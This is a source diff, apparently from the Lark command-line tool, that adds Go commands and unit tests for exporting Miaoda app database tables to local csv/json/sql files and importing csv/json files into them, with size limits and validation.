total, totalErr := queryExportTotal(rctx, appID, dbEnv(rctx), table)
|
||||
|
||||
resp, err := rctx.DoAPI(&larkcore.ApiReq{
|
||||
HttpMethod: http.MethodGet,
|
||||
ApiPath: appDataExportPath(appID),
|
||||
QueryParams: larkcore.QueryParams{
|
||||
"env": []string{dbEnv(rctx)},
|
||||
"table": []string{table},
|
||||
"format": []string{format},
|
||||
"limit": []string{strconv.Itoa(rctx.Int("limit"))},
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
return withAppsHint(errs.NewNetworkError(errs.SubtypeNetworkTransport, "export request failed").WithCause(err).WithRetryable(), dbDataExportHint)
|
||||
}
|
||||
// 成功是原始字节;业务错误网关以 JSON 信封 {code,msg} 返回(以 '{' 开头)。
|
||||
if b := bytes.TrimSpace(resp.RawBody); len(b) > 0 && b[0] == '{' {
|
||||
if _, cerr := rctx.ClassifyAPIResponse(resp); cerr != nil {
|
||||
return withAppsHint(cerr, dbDataExportHint)
|
||||
}
|
||||
}
|
||||
if resp.StatusCode >= 400 {
|
||||
return withAppsHint(errs.NewNetworkError(errs.SubtypeNetworkServer, "export failed: HTTP %d", resp.StatusCode).WithRetryable(), dbDataExportHint)
|
||||
}
|
||||
body := resp.RawBody
|
||||
if len(body) > dbDataExportMaxBytes {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "export exceeds 1 MB limit (%d bytes); filter rows with +db-execute (WHERE/LIMIT) and export smaller subsets", len(body))
|
||||
}
|
||||
|
||||
saved, err := rctx.FileIO().Save(out, fileio.SaveOptions{
|
||||
ContentType: resp.Header.Get("Content-Type"),
|
||||
ContentLength: int64(len(body)),
|
||||
}, bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--output: %v", err).WithParam("--output")
|
||||
}
|
||||
// 行数取自预查的 total(导出最多 limit 行,故取 min);total 查询失败时按导出内容数行兜底。
|
||||
rows := 0
|
||||
if totalErr == nil {
|
||||
rows = total
|
||||
if lim := rctx.Int("limit"); rows > lim {
|
||||
rows = lim
|
||||
}
|
||||
} else {
|
||||
rows = countDataRows(body, format)
|
||||
}
|
||||
resolved, perr := rctx.FileIO().ResolvePath(out)
|
||||
if perr != nil || resolved == "" {
|
||||
resolved = out
|
||||
}
|
||||
result := map[string]interface{}{
|
||||
"table": table, "output": resolved, "format": format,
|
||||
"rows": rows, "size_bytes": saved.Size(),
|
||||
}
|
||||
rctx.OutFormat(result, nil, func(w io.Writer) {
|
||||
fmt.Fprintf(w, "✓ Exported %s → %s (%d rows)\n", table, resolved, rows)
|
||||
})
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// queryExportTotal 调 GetAppTableRecordList(page_size=1)取 total(符合条件的记录总数)。
|
||||
// 该接口与 +db-data-export 同为 spark:app:read scope,避免导出命令被迫升级到写权限。
|
||||
func queryExportTotal(rctx *common.RuntimeContext, appID, env, table string) (int, error) {
|
||||
raw, err := rctx.CallAPITyped("GET", appTableRecordsPath(appID, table),
|
||||
map[string]interface{}{"env": env, "page_size": 1}, nil)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return totalAsInt(raw["total"]), nil
|
||||
}
|
||||
|
||||
// totalAsInt 把 total 解析成 int,兼容 JSON number 与 i64-as-string 两种 wire 形态。
|
||||
func totalAsInt(v interface{}) int {
|
||||
if f, ok := numericAsFloat(v); ok {
|
||||
return int(f)
|
||||
}
|
||||
if s, ok := v.(string); ok {
|
||||
if n, err := strconv.Atoi(strings.TrimSpace(s)); err == nil {
|
||||
return n
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// exportFormatAndOutput 由 --output 推断数据格式与落盘路径:
|
||||
// 给了 --output → 取其扩展名定 format(csv/json/sql);未给 → 默认 csv、输出 <table>.csv。
|
||||
func exportFormatAndOutput(rctx *common.RuntimeContext) (format, outPath string, err error) {
|
||||
table := strings.TrimSpace(rctx.Str("table"))
|
||||
out := strings.TrimSpace(rctx.Str("output"))
|
||||
if out == "" {
|
||||
return "csv", table + ".csv", nil
|
||||
}
|
||||
f, ferr := resolveDataFormat(filepath.Ext(out), true)
|
||||
if ferr != nil {
|
||||
return "", "", ferr
|
||||
}
|
||||
return f, out, nil
|
||||
}
|
||||
193
shortcuts/apps/apps_db_data_export_test.go
Normal file
193
shortcuts/apps/apps_db_data_export_test.go
Normal file
@@ -0,0 +1,193 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
)
|
||||
|
||||
const dbDataExportURL = "/open-apis/spark/v1/apps/app_x/db/data_export"
|
||||
const dbOrdersRecordsURL = "/open-apis/spark/v1/apps/app_x/tables/orders/records"
|
||||
|
||||
// TestAppsDBDataExport_RequiresTable 验证缺 --table 时报必填错误。
|
||||
func TestAppsDBDataExport_RequiresTable(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
// 缺 --table → cobra required-flag, exit 1
|
||||
err := runAppsShortcut(t, AppsDBDataExport,
|
||||
[]string{"+db-data-export", "--app-id", "app_x", "--as", "user"}, factory, stdout)
|
||||
if err == nil {
|
||||
t.Fatalf("expected required-flag error for missing --table")
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBDataExport_RejectsBadLimit 验证越界 --limit(0/-1/5001)均报 --limit 的 ValidationError。
|
||||
func TestAppsDBDataExport_RejectsBadLimit(t *testing.T) {
|
||||
for _, lim := range []string{"0", "-1", "5001"} {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsDBDataExport,
|
||||
[]string{"+db-data-export", "--app-id", "app_x", "--table", "orders", "--limit", lim, "--as", "user"}, factory, stdout)
|
||||
var ve *errs.ValidationError
|
||||
if !errors.As(err, &ve) {
|
||||
t.Fatalf("limit=%s err = %T %v, want *errs.ValidationError", lim, err, err)
|
||||
}
|
||||
if ve.Param != "--limit" {
|
||||
t.Fatalf("limit=%s Param = %q, want --limit", lim, ve.Param)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBDataExport_RejectsBadOutputExtension 验证不支持的 --output 扩展名(.xml)报校验错误。
|
||||
func TestAppsDBDataExport_RejectsBadOutputExtension(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsDBDataExport,
|
||||
[]string{"+db-data-export", "--app-id", "app_x", "--table", "orders", "--output", "dump.xml", "--as", "user"}, factory, stdout)
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Category != errs.CategoryValidation || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("expected unsupported-format validation for .xml, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// dry-run:format 跟随 --output 扩展名;缺省 csv。
|
||||
// TestAppsDBDataExport_DryRunFormatFromOutput 验证 dry-run 的 format 参数跟随 --output 扩展名、缺省为 csv,并带 limit。
|
||||
func TestAppsDBDataExport_DryRunFormatFromOutput(t *testing.T) {
|
||||
cases := []struct{ output, wantFmt string }{
|
||||
{"", "csv"}, {"orders.csv", "csv"}, {"orders.json", "json"}, {"dump.sql", "sql"},
|
||||
}
|
||||
for _, c := range cases {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
args := []string{"+db-data-export", "--app-id", "app_x", "--table", "orders", "--dry-run", "--as", "user"}
|
||||
if c.output != "" {
|
||||
args = append(args, "--output", c.output)
|
||||
}
|
||||
if err := runAppsShortcut(t, AppsDBDataExport, args, factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
var env struct {
|
||||
API []struct {
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Params map[string]interface{} `json:"params"`
|
||||
} `json:"api"`
|
||||
}
|
||||
_ = json.Unmarshal([]byte(stdout.String()), &env)
|
||||
a := env.API[0]
|
||||
if a.Method != "GET" || a.URL != dbDataExportURL {
|
||||
t.Fatalf("dry-run = %s %s", a.Method, a.URL)
|
||||
}
|
||||
if a.Params["format"] != c.wantFmt || a.Params["table"] != "orders" {
|
||||
t.Errorf("output=%q params.format=%v want %q", c.output, a.Params["format"], c.wantFmt)
|
||||
}
|
||||
if _, ok := a.Params["limit"]; !ok {
|
||||
t.Errorf("dry-run missing limit param")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 成功:先查 records 列表 total 计行,再把原始字节落盘。
|
||||
// TestAppsDBDataExport_SuccessWritesFile 验证成功路径先查 records total 计行、再将导出原始字节落盘并输出 rows/format/table。
|
||||
func TestAppsDBDataExport_SuccessWritesFile(t *testing.T) {
|
||||
dir := chdirTemp(t)
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
// 第 1 步:records 列表 total=2(行数来源)。
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbOrdersRecordsURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"total": 2, "has_more": false, "items": "[]"}},
|
||||
})
|
||||
// 第 2 步:导出原始字节。
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET",
|
||||
URL: dbDataExportURL,
|
||||
RawBody: []byte("id,name\n1,a\n2,b\n"),
|
||||
Headers: http.Header{"Content-Type": []string{"text/csv"}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBDataExport,
|
||||
[]string{"+db-data-export", "--app-id", "app_x", "--table", "orders", "--output", "orders.csv", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
b, err := os.ReadFile(dir + "/orders.csv")
|
||||
if err != nil || string(b) != "id,name\n1,a\n2,b\n" {
|
||||
t.Fatalf("output file wrong: %q err=%v", string(b), err)
|
||||
}
|
||||
got := stdout.String()
|
||||
if !strings.Contains(got, `"rows": 2`) || !strings.Contains(got, `"format": "csv"`) || !strings.Contains(got, `"table": "orders"`) {
|
||||
t.Fatalf("output json missing fields:\n%s", got)
|
||||
}
|
||||
}
|
||||
|
||||
// 行数取自 records total,且按 --limit 截顶(min(total, limit))。
|
||||
// TestAppsDBDataExport_RowsFromTotalCappedByLimit 验证行数取 records total 并按 --limit 截顶(total=10000、limit=100 → rows=100)。
|
||||
func TestAppsDBDataExport_RowsFromTotalCappedByLimit(t *testing.T) {
|
||||
chdirTemp(t)
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbOrdersRecordsURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"total": 10000, "has_more": true, "items": "[]"}},
|
||||
})
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbDataExportURL,
|
||||
RawBody: []byte("id\n1\n2\n3\n"), Headers: http.Header{"Content-Type": []string{"text/csv"}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBDataExport,
|
||||
[]string{"+db-data-export", "--app-id", "app_x", "--table", "orders", "--output", "orders.csv", "--limit", "100", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
if !strings.Contains(stdout.String(), `"rows": 100`) {
|
||||
t.Fatalf("expected rows capped to limit 100 from total=10000:\n%s", stdout.String())
|
||||
}
|
||||
}
|
||||
|
||||
// total 查询失败(records 列表报错)→ 回退按导出文件内容数行,不阻断导出。
|
||||
// TestAppsDBDataExport_FallsBackToFileCountWhenTotalUnavailable 验证 records total 查询失败时回退按导出文件内容数行,不阻断落盘。
|
||||
func TestAppsDBDataExport_FallsBackToFileCountWhenTotalUnavailable(t *testing.T) {
|
||||
dir := chdirTemp(t)
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbOrdersRecordsURL,
|
||||
Body: map[string]interface{}{"code": 1254000, "msg": "records unavailable"},
|
||||
})
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbDataExportURL,
|
||||
RawBody: []byte("id,name\n1,a\n2,b\n3,c\n"), Headers: http.Header{"Content-Type": []string{"text/csv"}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBDataExport,
|
||||
[]string{"+db-data-export", "--app-id", "app_x", "--table", "orders", "--output", "orders.csv", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("export should still succeed via fallback, got %v", err)
|
||||
}
|
||||
b, _ := os.ReadFile(dir + "/orders.csv")
|
||||
if string(b) != "id,name\n1,a\n2,b\n3,c\n" {
|
||||
t.Fatalf("file not written on fallback path: %q", string(b))
|
||||
}
|
||||
if !strings.Contains(stdout.String(), `"rows": 3`) {
|
||||
t.Fatalf("expected fallback file-count rows:3:\n%s", stdout.String())
|
||||
}
|
||||
}
|
||||
|
||||
// 业务错误:网关回 JSON 信封 {code,msg}(非原始字节)→ typed error,不落盘。
|
||||
// TestAppsDBDataExport_BusinessErrorEnvelope 验证响应为 JSON 错误信封(非原始字节)时返回 typed error 且不落盘。
|
||||
func TestAppsDBDataExport_BusinessErrorEnvelope(t *testing.T) {
|
||||
chdirTemp(t)
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET",
|
||||
URL: dbDataExportURL,
|
||||
RawBody: []byte(`{"code":1254043,"msg":"table not found"}`),
|
||||
Headers: http.Header{"Content-Type": []string{"application/json"}},
|
||||
})
|
||||
err := runAppsShortcut(t, AppsDBDataExport,
|
||||
[]string{"+db-data-export", "--app-id", "app_x", "--table", "nope", "--output", "nope.csv", "--as", "user"}, factory, stdout)
|
||||
if err == nil {
|
||||
t.Fatalf("expected business error to surface, got nil; stdout=%s", stdout.String())
|
||||
}
|
||||
if _, statErr := os.Stat("nope.csv"); statErr == nil {
|
||||
t.Fatalf("error path must not write the output file")
|
||||
}
|
||||
}
|
||||
144
shortcuts/apps/apps_db_data_import.go
Normal file
144
shortcuts/apps/apps_db_data_import.go
Normal file
@@ -0,0 +1,144 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/shortcuts/common"
|
||||
)
|
||||
|
||||
const dbDataImportMaxBytes = 1 * 1024 * 1024 // 1 MB
|
||||
|
||||
const dbDataImportHint = "verify --app-id and --table; data file must be .csv/.json and ≤1 MB — split larger files and import in batches"
|
||||
|
||||
// AppsDBDataImport 把本地 csv/json 文件直传到应用数据表(high-risk-write)。
|
||||
//
|
||||
// POST /apps/{app_id}/db/data_import,multipart 表单:file_name + 可选 table + 文件本体(与
|
||||
// +file-upload / UploadFileForOpenAPI 一致)。文件的格式解析与转换在服务端 integration 层完成
|
||||
// (按 file_name 扩展名推断 csv/json),CLI 不再本地解析。表名缺省取文件名(去扩展名)。上限 1 MB。
|
||||
var AppsDBDataImport = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+db-data-import",
|
||||
Description: "Import rows from a local csv/json file into a Miaoda app table",
|
||||
Risk: "high-risk-write",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +db-data-import --app-id <app_id> --file ./orders.csv --yes",
|
||||
"Table defaults to the file name; override with --table.",
|
||||
},
|
||||
Scopes: []string{"spark:app:write"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: append([]common.Flag{
|
||||
{Name: "app-id", Desc: "Miaoda app id", Required: true},
|
||||
{Name: "file", Desc: "local data file (.csv/.json), relative to cwd", Required: true},
|
||||
{Name: "table", Desc: "target table (default: file name without extension)"},
|
||||
}, dbEnvFlags("dev", []string{"dev", "online"}, "target db environment (default dev; use online for the online environment, or for an app whose DB is not multi-env)")...),
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := rejectLegacyEnvFlag(rctx); err != nil {
|
||||
return err
|
||||
}
|
||||
if strings.TrimSpace(rctx.Str("file")) == "" {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--file is required").WithParam("--file")
|
||||
}
|
||||
// 文件名即可校验格式(服务端按扩展名推断)与推断表名,无需读取内容。
|
||||
if _, err := resolveDataFormat(filepath.Ext(rctx.Str("file")), false); err != nil {
|
||||
return err
|
||||
}
|
||||
// 体积守卫前移到 Validate:用 Stat 先查大小(不读内容),dry-run 也能拦超大文件、且
|
||||
// 在读整个文件进内存之前就失败(对齐 +file-upload)。Stat 失败不在此报错,留给 Execute
|
||||
// 的 ReadInputFile 产出更精确的「文件不存在/越界」错误。
|
||||
if st, serr := rctx.FileIO().Stat(strings.TrimSpace(rctx.Str("file"))); serr == nil && st.Size() > dbDataImportMaxBytes {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "import data exceeds 1 MB limit (file is %d bytes); split into ≤1 MB chunks", st.Size()).WithParam("--file")
|
||||
}
|
||||
if importTableName(rctx) == "" {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "cannot infer target table from file name; specify --table").WithParam("--table")
|
||||
}
|
||||
return nil
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
fileName := filepath.Base(strings.TrimSpace(rctx.Str("file")))
|
||||
return common.NewDryRunAPI().
|
||||
POST(appDataImportPath(appID)).
|
||||
Desc("Import data file into Miaoda app table (multipart upload)").
|
||||
Params(map[string]interface{}{"env": dbEnv(rctx), "table": importTableName(rctx)}).
|
||||
Body(map[string]interface{}{"file_name": fileName, "file": "<contents of --file>"})
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
appID, err := requireAppID(rctx.Str("app-id"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
file := strings.TrimSpace(rctx.Str("file"))
|
||||
content, err := cmdutil.ReadInputFile(rctx.FileIO(), file)
|
||||
if err != nil {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: %v", err).WithParam("--file")
|
||||
}
|
||||
if len(content) > dbDataImportMaxBytes {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "import data exceeds 1 MB limit (file is %d bytes); split into ≤1 MB chunks", len(content)).WithParam("--file")
|
||||
}
|
||||
fileName := filepath.Base(file)
|
||||
table := importTableName(rctx)
|
||||
|
||||
// multipart:file_name 走表单字段、文件本体走 form-files;env / table 走 query。
|
||||
fd := larkcore.NewFormdata()
|
||||
fd.AddField("file_name", fileName)
|
||||
fd.AddFile("file", bytes.NewReader(content))
|
||||
|
||||
resp, err := rctx.DoAPI(&larkcore.ApiReq{
|
||||
HttpMethod: http.MethodPost,
|
||||
ApiPath: appDataImportPath(appID),
|
||||
QueryParams: larkcore.QueryParams{"env": []string{dbEnv(rctx)}, "table": []string{table}},
|
||||
Body: fd,
|
||||
}, larkcore.WithFileUpload())
|
||||
if err != nil {
|
||||
return withAppsHint(errs.NewNetworkError(errs.SubtypeNetworkTransport, "import request failed").WithCause(err).WithRetryable(), dbDataImportHint)
|
||||
}
|
||||
data, err := rctx.ClassifyAPIResponse(resp)
|
||||
if err != nil {
|
||||
return withAppsHint(err, dbDataImportHint)
|
||||
}
|
||||
|
||||
outTable := common.GetString(data, "table")
|
||||
if outTable == "" {
|
||||
outTable = table
|
||||
}
|
||||
rows := int64(0)
|
||||
if f, ok := numericAsFloat(data["rows"]); ok {
|
||||
rows = int64(f)
|
||||
}
|
||||
out := map[string]interface{}{"file": file, "table": outTable, "rows": rows}
|
||||
rctx.OutFormat(out, nil, func(w io.Writer) {
|
||||
fmt.Fprintf(w, "✓ Imported %s → table '%s' (%d rows)\n", file, outTable, rows)
|
||||
})
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// importTableName 取目标表名:--table 优先,否则文件名去扩展名。
|
||||
func importTableName(rctx *common.RuntimeContext) string {
|
||||
if t := strings.TrimSpace(rctx.Str("table")); t != "" {
|
||||
return t
|
||||
}
|
||||
f := strings.TrimSpace(rctx.Str("file"))
|
||||
if f == "" {
|
||||
return ""
|
||||
}
|
||||
base := filepath.Base(f)
|
||||
return strings.TrimSuffix(base, filepath.Ext(base))
|
||||
}
|
||||
161
shortcuts/apps/apps_db_data_import_test.go
Normal file
161
shortcuts/apps/apps_db_data_import_test.go
Normal file
@@ -0,0 +1,161 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
)
|
||||
|
||||
const dbDataImportURL = "/open-apis/spark/v1/apps/app_x/db/data_import"
|
||||
|
||||
// chdirTemp 切到临时工作目录(--file 走 cwd 内相对路径),返回该目录。
|
||||
func chdirTemp(t *testing.T) string {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
old, _ := os.Getwd()
|
||||
if err := os.Chdir(dir); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = os.Chdir(old) })
|
||||
return dir
|
||||
}
|
||||
|
||||
// TestAppsDBDataImport_RequiresAppID 验证空白 --app-id 报 --app-id 的 ValidationError。
|
||||
func TestAppsDBDataImport_RequiresAppID(t *testing.T) {
|
||||
chdirTemp(t)
|
||||
_ = os.WriteFile("orders.csv", []byte("id\n1\n"), 0o600)
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsDBDataImport,
|
||||
[]string{"+db-data-import", "--app-id", " ", "--file", "orders.csv", "--yes", "--as", "user"}, factory, stdout)
|
||||
var ve *errs.ValidationError
|
||||
if !errors.As(err, &ve) {
|
||||
t.Fatalf("err = %T %v, want *errs.ValidationError", err, err)
|
||||
}
|
||||
if ve.Param != "--app-id" {
|
||||
t.Fatalf("Param = %q, want --app-id", ve.Param)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBDataImport_RejectsUnsupportedFormat 验证非 csv/json 文件(.txt)报不支持格式的校验错误。
|
||||
func TestAppsDBDataImport_RejectsUnsupportedFormat(t *testing.T) {
|
||||
chdirTemp(t)
|
||||
_ = os.WriteFile("data.txt", []byte("x\n"), 0o600)
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsDBDataImport,
|
||||
[]string{"+db-data-import", "--app-id", "app_x", "--file", "data.txt", "--yes", "--as", "user"}, factory, stdout)
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Category != errs.CategoryValidation || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("expected unsupported-format validation, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBDataImport_RequiresConfirmation 验证缺 --yes 时报 requires confirmation 错误。
|
||||
func TestAppsDBDataImport_RequiresConfirmation(t *testing.T) {
|
||||
chdirTemp(t)
|
||||
_ = os.WriteFile("orders.csv", []byte("id\n1\n"), 0o600)
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsDBDataImport,
|
||||
[]string{"+db-data-import", "--app-id", "app_x", "--file", "orders.csv", "--as", "user"}, factory, stdout)
|
||||
if err == nil || !strings.Contains(err.Error(), "requires confirmation") {
|
||||
t.Fatalf("expected confirmation_required, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBDataImport_RejectsOversizeFile 验证超过 1MB 上限的文件报 --file 的 ValidationError。
|
||||
func TestAppsDBDataImport_RejectsOversizeFile(t *testing.T) {
|
||||
chdirTemp(t)
|
||||
// >1MB → size 校验
|
||||
big := append([]byte("id\n"), make([]byte, dbDataImportMaxBytes+1)...)
|
||||
_ = os.WriteFile("big.csv", big, 0o600)
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsDBDataImport,
|
||||
[]string{"+db-data-import", "--app-id", "app_x", "--file", "big.csv", "--yes", "--as", "user"}, factory, stdout)
|
||||
var ve *errs.ValidationError
|
||||
if !errors.As(err, &ve) {
|
||||
t.Fatalf("expected 1MB limit error, got %T %v", err, err)
|
||||
}
|
||||
if ve.Param != "--file" {
|
||||
t.Fatalf("Param = %q, want --file", ve.Param)
|
||||
}
|
||||
}
|
||||
|
||||
// dry-run:multipart 上传——file_name + file 走 body,env + table 走 query(table 缺省取文件名)。
|
||||
// TestAppsDBDataImport_DryRunMultipartShape 验证 dry-run 的 multipart 形态:file_name+file 走 body、env+table 走 query 且不再发 format。
|
||||
func TestAppsDBDataImport_DryRunMultipartShape(t *testing.T) {
|
||||
chdirTemp(t)
|
||||
_ = os.WriteFile("orders.csv", []byte("id\n1\n"), 0o600)
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsDBDataImport,
|
||||
[]string{"+db-data-import", "--app-id", "app_x", "--file", "orders.csv", "--environment", "dev", "--dry-run", "--yes", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
var env struct {
|
||||
API []struct {
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Params map[string]interface{} `json:"params"`
|
||||
Body map[string]interface{} `json:"body"`
|
||||
} `json:"api"`
|
||||
}
|
||||
_ = json.Unmarshal([]byte(stdout.String()), &env)
|
||||
a := env.API[0]
|
||||
if a.Method != "POST" || a.URL != dbDataImportURL {
|
||||
t.Fatalf("dry-run = %s %s", a.Method, a.URL)
|
||||
}
|
||||
if a.Body["file_name"] != "orders.csv" || a.Body["file"] == nil {
|
||||
t.Fatalf("dry-run body should carry file_name + file: %v", a.Body)
|
||||
}
|
||||
if _, ok := a.Body["format"]; ok {
|
||||
t.Fatalf("format must no longer be sent: %v", a.Body)
|
||||
}
|
||||
if a.Params["env"] != "dev" || a.Params["table"] != "orders" {
|
||||
t.Fatalf("dry-run params (env+table) = %v", a.Params)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBDataImport_Success 验证成功导入后输出含 table、rows 与回显的 file 名。
|
||||
func TestAppsDBDataImport_Success(t *testing.T) {
|
||||
chdirTemp(t)
|
||||
_ = os.WriteFile("orders.csv", []byte("id,name\n1,a\n2,b\n"), 0o600)
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST", URL: dbDataImportURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"table": "orders", "rows": 2}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBDataImport,
|
||||
[]string{"+db-data-import", "--app-id", "app_x", "--file", "orders.csv", "--table", "orders", "--yes", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
got := stdout.String()
|
||||
if !strings.Contains(got, `"table": "orders"`) || !strings.Contains(got, `"rows": 2`) || !strings.Contains(got, `"file": "orders.csv"`) {
|
||||
t.Fatalf("output missing fields:\n%s", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBDataImport_TableDefaultsToFileBasename 验证未传 --table 时表名缺省取文件名去扩展名(customers.json→customers)。
|
||||
func TestAppsDBDataImport_TableDefaultsToFileBasename(t *testing.T) {
|
||||
chdirTemp(t)
|
||||
_ = os.WriteFile("customers.json", []byte(`[{"id":1}]`), 0o600)
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsDBDataImport,
|
||||
[]string{"+db-data-import", "--app-id", "app_x", "--file", "customers.json", "--dry-run", "--yes", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
var env struct {
|
||||
API []struct {
|
||||
Params map[string]interface{} `json:"params"`
|
||||
} `json:"api"`
|
||||
}
|
||||
_ = json.Unmarshal([]byte(stdout.String()), &env)
|
||||
if env.API[0].Params["table"] != "customers" {
|
||||
t.Fatalf("expected table=customers (from file basename) in params, got %v", env.API[0].Params)
|
||||
}
|
||||
}
|
||||
@@ -12,11 +12,11 @@ import (
|
||||
"github.com/larksuite/cli/shortcuts/common"
|
||||
)
|
||||
|
||||
const dbEnvCreateHint = "verify --app-id is correct; if the app is already multi-env this is a conflict — inspect current tables with `lark-cli apps +db-table-list --app-id <app_id> --env dev`"
|
||||
const dbEnvCreateHint = "verify --app-id is correct; if the app is already multi-env this is a conflict — inspect current tables with `lark-cli apps +db-table-list --app-id <app_id> --environment dev`"
|
||||
|
||||
// AppsDBEnvCreate creates a DB environment for an app(拆分单库为 dev/online 多环境)。
|
||||
//
|
||||
